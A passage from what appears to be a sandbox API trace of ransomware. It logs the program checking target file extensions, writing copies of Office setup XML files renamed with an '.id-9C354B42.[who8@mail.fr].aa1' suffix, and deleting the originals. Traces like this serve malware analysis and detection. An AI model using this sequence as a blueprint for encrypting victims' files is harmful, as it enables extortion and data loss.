(lpString1=".xlsx", lpString2="f.XML") returned -1 [0210.200] lstrlenW (lpString=".ppt") returned 4 [0210.200] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0210.200] lstrlenW (lpString=".zip") returned 4 [0210.201] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.201] lstrlenW (lpString=".rar") returned 4 [0210.201] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.201] lstrlenW (lpString=".bz2") returned 4 [0210.201] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.201] lstrlenW (lpString=".7z") returned 3 [0210.201] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0210.201] lstrlenW (lpString=".dbf") returned 4 [0210.202] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0210.202] lstrlenW (lpString=".1cd") returned 4 [0210.202] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0210.202] lstrlenW (lpString=".jpg") returned 4 [0210.202] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.202] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0210.202] lstrlenW (lpString="Proofing.XML") returned 12 [0210.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0210.906] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=811) returned 1 [0210.906] CloseHandle (hObject=0x164) returned 1 [0210.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 0x20 [0210.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0210.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0210.906] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.906] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0210.907] GetLastError () returned 0x0 [0210.907] ReadFile (in: hFile=0x164, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x32b, lpOverlapped=0x0) returned 1 [0211.185] WriteFile (in: hFile=0x17c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x330, lpOverlapped=0x0) returned 1 [0211.185] ReadFile (in: hFile=0x164, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.185] WriteFile (in: hFile=0x17c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0211.186] SetEndOfFile (hFile=0x17c) returned 1 [0211.511] CloseHandle (hObject=0x17c) returned 1 [0211.512] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.512] SetEndOfFile (hFile=0x164) returned 1 [0211.512] CloseHandle (hObject=0x164) returned 1 [0211.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0211.513] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 1 [0211.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0211.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0211.513] lstrlenW (lpString=".doc") returned 4 [0211.513] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.513] lstrlenW (lpString=".docx") returned 5 [0211.513] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0211.513] lstrlenW (lpString=".pdf") returned 4 [0211.513] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.513] lstrlenW (lpString=".xls") returned 4 [0211.513] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.513] lstrlenW (lpString=".xlsx") returned 5 [0211.513] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0211.514] lstrlenW (lpString=".ppt") returned 4 [0211.514] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0211.514] lstrlenW (lpString=".zip") returned 4 [0211.514] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.514] lstrlenW (lpString=".rar") returned 4 [0211.514] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.514] lstrlenW (lpString=".bz2") returned 4 [0211.514] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.514] lstrlenW (lpString=".7z") returned 3 [0211.514] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0211.514] lstrlenW (lpString=".dbf") returned 4 [0211.514] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0211.514] lstrlenW (lpString=".1cd") returned 4 [0211.514] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0211.514] lstrlenW (lpString=".jpg") returned 4 [0211.514] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0211.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0211.514] lstrlenW (lpString=".doc") returned 4 [0211.515] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.515] lstrlenW (lpString=".docx") returned 5 [0211.515] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0211.515] lstrlenW (lpString=".pdf") returned 4 [0211.515] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.515] lstrlenW (lpString=".xls") returned 4 [0211.515] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.515] lstrlenW (lpString=".xlsx") returned 5 [0211.515] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0211.515] lstrlenW (lpString=".ppt") returned 4 [0211.515] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0211.515] lstrlenW (lpString=".zip") returned 4 [0211.515] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.515] lstrlenW (lpString=".rar") returned 4 [0211.515] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.515] lstrlenW (lpString=".bz2") returned 4 [0211.515] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.515] lstrlenW (lpString=".7z") returned 3 [0211.515] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0211.515] lstrlenW (lpString=".dbf") returned 4 [0211.515] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0211.515] lstrlenW (lpString=".1cd") returned 4 [0211.516] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0211.516] lstrlenW (lpString=".jpg") returned 4 [0211.516] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.516] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0211.516] lstrlenW (lpString="PublisherMUI.XML") returned 16 [0211.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0211.516] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1450) returned 1 [0211.516] CloseHandle (hObject=0x164) returned 1 [0211.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 0x20 [0211.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0211.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0211.517] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.517] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0212.278] GetLastError () returned 0x0 [0212.278] ReadFile (in: hFile=0x164, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0212.306] WriteFile (in: hFile=0x1f8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0212.307] ReadFile (in: hFile=0x164, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.307] WriteFile (in: hFile=0x1f8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0212.307] SetEndOfFile (hFile=0x1f8) returned 1 [0212.307] CloseHandle (hObject=0x1f8) returned 1 [0212.307] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.308] SetEndOfFile (hFile=0x164) returned 1 [0212.309] CloseHandle (hObject=0x164) returned 1 [0212.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0212.309] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 1 [0212.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0212.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0212.310] lstrlenW (lpString=".doc") returned 4 [0212.310] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0212.310] lstrlenW (lpString=".docx") returned 5 [0212.310] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0212.310] lstrlenW (lpString=".pdf") returned 4 [0212.310] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0212.310] lstrlenW (lpString=".xls") returned 4 [0212.310] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0212.310] lstrlenW (lpString=".xlsx") returned 5 [0212.310] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0212.310] lstrlenW (lpString=".ppt") returned 4 [0212.310] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0212.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0212.310] lstrlenW (lpString=".zip") returned 4 [0212.310] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0212.310] lstrlenW (lpString=".rar") returned 4 [0212.311] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0212.311] lstrlenW (lpString=".bz2") returned 4 [0212.311] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0212.311] lstrlenW (lpString=".7z") returned 3 [0212.311] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0212.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0212.311] lstrlenW (lpString=".dbf") returned 4 [0212.311] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0212.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0212.311] lstrlenW (lpString=".1cd") returned 4 [0212.311] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0212.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0212.311] lstrlenW (lpString=".jpg") returned 4 [0212.311] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0212.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0212.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0212.311] lstrlenW (lpString=".doc") returned 4 [0212.311] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0212.311] lstrlenW (lpString=".docx") returned 5 [0212.311] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0212.312] lstrlenW (lpString=".pdf") returned 4 [0212.312] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0212.312] lstrlenW (lpString=".xls") returned 4 [0212.312] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0212.312] lstrlenW (lpString=".xlsx") returned 5 [0212.312] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0212.312] lstrlenW (lpString=".ppt") returned 4 [0212.312] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0212.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0212.312] lstrlenW (lpString=".zip") returned 4 [0212.312] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0212.312] lstrlenW (lpString=".rar") returned 4 [0212.312] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0212.312] lstrlenW (lpString=".bz2") returned 4 [0212.312] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0212.312] lstrlenW (lpString=".7z") returned 3 [0212.312] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0212.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0212.312] lstrlenW (lpString=".dbf") returned 4 [0212.312] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0212.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0212.312] lstrlenW (lpString=".1cd") returned 4 [0212.313] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0212.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0212.313] lstrlenW (lpString=".jpg") returned 4 [0212.313] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0212.313] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0212.313] lstrlenW (lpString="SETUP.XML") returned 9 [0212.313] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0212.314] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=20577) returned 1 [0212.314] CloseHandle (hObject=0x164) returned 1 [0212.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 0x20 [0212.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0212.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0212.314] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.315] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.315] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0212.315] GetLastError () returned 0x0 [0212.315] ReadFile (in: hFile=0x164, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x5061, lpOverlapped=0x0) returned 1 [0212.420] WriteFile (in: hFile=0x1f8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0212.421] ReadFile (in: hFile=0x164, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.421] WriteFile (in: hFile=0x1f8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0212.421] SetEndOfFile (hFile=0x1f8) returned 1 [0212.422] CloseHandle (hObject=0x1f8) returned 1 [0212.422] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.422] SetEndOfFile (hFile=0x164) returned 1 [0212.423] CloseHandle (hObject=0x164) returned 1 [0212.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0212.424] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 1 [0212.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0212.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0212.425] lstrlenW (lpString=".doc") returned 4 [0212.425] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0212.425] lstrlenW (lpString=".docx") returned 5 [0212.425] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0212.425] lstrlenW (lpString=".pdf") returned 4 [0212.425] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0212.425] lstrlenW (lpString=".xls") returned 4 [0212.425] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0212.425] lstrlenW (lpString=".xlsx") returned 5 [0212.425] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0212.425] lstrlenW (lpString=".ppt") returned 4 [0212.425] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0212.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0212.425] lstrlenW (lpString=".zip") returned 4 [0212.425] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0212.425] lstrlenW (lpString=".rar") returned 4 [0212.425] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0212.425] lstrlenW (lpString=".bz2") returned 4 [0212.425] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0212.425] lstrlenW (lpString=".7z") returned 3 [0212.425] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0212.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0212.425] lstrlenW (lpString=".dbf") returned 4 [0212.425] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0212.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0212.426] lstrlenW (lpString=".1cd") returned 4 [0212.426] lstrcmpiW 